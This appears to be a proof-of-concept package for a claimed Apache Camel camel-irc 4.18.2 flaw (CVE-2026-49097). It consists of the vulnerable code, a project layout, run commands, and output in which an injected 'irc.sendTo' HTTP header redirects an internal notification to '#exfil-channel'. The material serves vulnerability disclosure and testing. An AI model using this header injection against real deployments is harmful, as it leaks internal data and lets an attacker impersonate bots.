// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true